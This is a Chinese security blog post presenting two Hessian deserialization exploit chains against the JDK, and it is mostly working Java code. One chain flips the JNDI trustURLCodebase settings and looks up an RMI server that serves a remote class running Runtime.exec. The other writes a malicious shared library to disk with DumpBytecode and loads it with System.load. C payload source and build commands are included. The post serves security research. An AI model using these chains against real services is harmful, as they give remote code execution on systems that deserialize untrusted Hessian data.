Hessian JDK反序列化漏洞3

前言

补全。


System.setProperty + InitialContext.doLookup

由于不是web环境也懒得搭建web环境,需要一次执行中完成三次函数调用,所以需要修改一下构造方式,首先创建RMI服务:

1
2
3
4
5
6
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("RMIServer", referenceWrapper);
System.out.println("Bind");
System.out.println("RMI Registry Start at port 1099");

然后开启Tomcat,并将调用Runtime.exec()的Exploit.class放到根目录下,最后构造一个HashMap触发三次反射调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "java.lang.System");
Utils.setField(proxyLazyValue1, "methodName", "setProperty");
Utils.setField(proxyLazyValue1, "args", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});

Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "setProperty");
Utils.setField(proxyLazyValue2, "args", new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase", "true"});

Object proxyLazyValue3 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue3, "className", "javax.naming.InitialContext");
Utils.setField(proxyLazyValue3, "methodName", "doLookup");
Utils.setField(proxyLazyValue3, "args", new Object[]{"rmi://127.0.0.1:1099/RMIServer"});

UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
UIDefaults map5 = new UIDefaults();
map5.put(1, proxyLazyValue3);
UIDefaults map6 = new UIDefaults();
map6.put(1, proxyLazyValue3);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);
bigMap.put(5, 5);
bigMap.put(6, 6);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);
Utils.setField(table[5], "key", map5);
Utils.setField(table[6], "key", map6);

unserialize(serialize(bigMap));

DumpBytecode.dumpBytecode + System.load

DumpBytecode.dumpBytecode可以写入一个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (env._dest_dir != null) {
String fileName = className.replace('.', File.separatorChar) + ".class";
int index = fileName.lastIndexOf(File.separatorChar);
if (index != -1) {
dir = new File(env._dest_dir, fileName.substring(0, index));
} else {
dir = new File(env._dest_dir);
}

if (!dir.exists() && !dir.mkdirs()) {
throw new IOException(dir.toString());
}

File file = new File(env._dest_dir, fileName);
FileOutputStream fos = new FileOutputStream(file);
Throwable var46 = null;

try {
fos.write(bytecode);
}
...
}
...

可以控制目录、文件名以及文件内容,虽然后缀不可控但是影响不大。

首先生成一个动态链接库:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){

system("calc.exe");
}

编译:

1
gcc -c .\Exploit.cpp -o Exploit && gcc .\Exploit --share -o Exploit.so

最后触发两次反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Object scriptEnvironment = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.ScriptEnvironment");
Utils.setField(scriptEnvironment, "_dest_dir", "./");

Object logger = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.logging.DebugLogger");

Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "jdk.nashorn.internal.codegen.DumpBytecode");
Utils.setField(proxyLazyValue1, "methodName", "dumpBytecode");
Utils.setField(proxyLazyValue1, "args", new Object[]{
scriptEnvironment, logger, Files.readAllBytes(Paths.get("Exploit.so")), "Twings"
});

Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "load");
Utils.setField(proxyLazyValue2, "args", new Object[]{"D:/Java1.8/hessianjdk/Twings.class"});

UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);

Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);

unserialize(serialize(bigMap));

System.load需要绝对路径,不然会报错:

1
2
3
4
if (!(new File(filename).isAbsolute())) {
throw new UnsatisfiedLinkError(
"Expecting an absolute path of the library: " + filename);
}

参考


Hessian JDK反序列化漏洞3
http://yoursite.com/2023/02/12/Hessian-JDK反序列化漏洞3/
作者
Aluvion
发布于
2023年2月12日
许可协议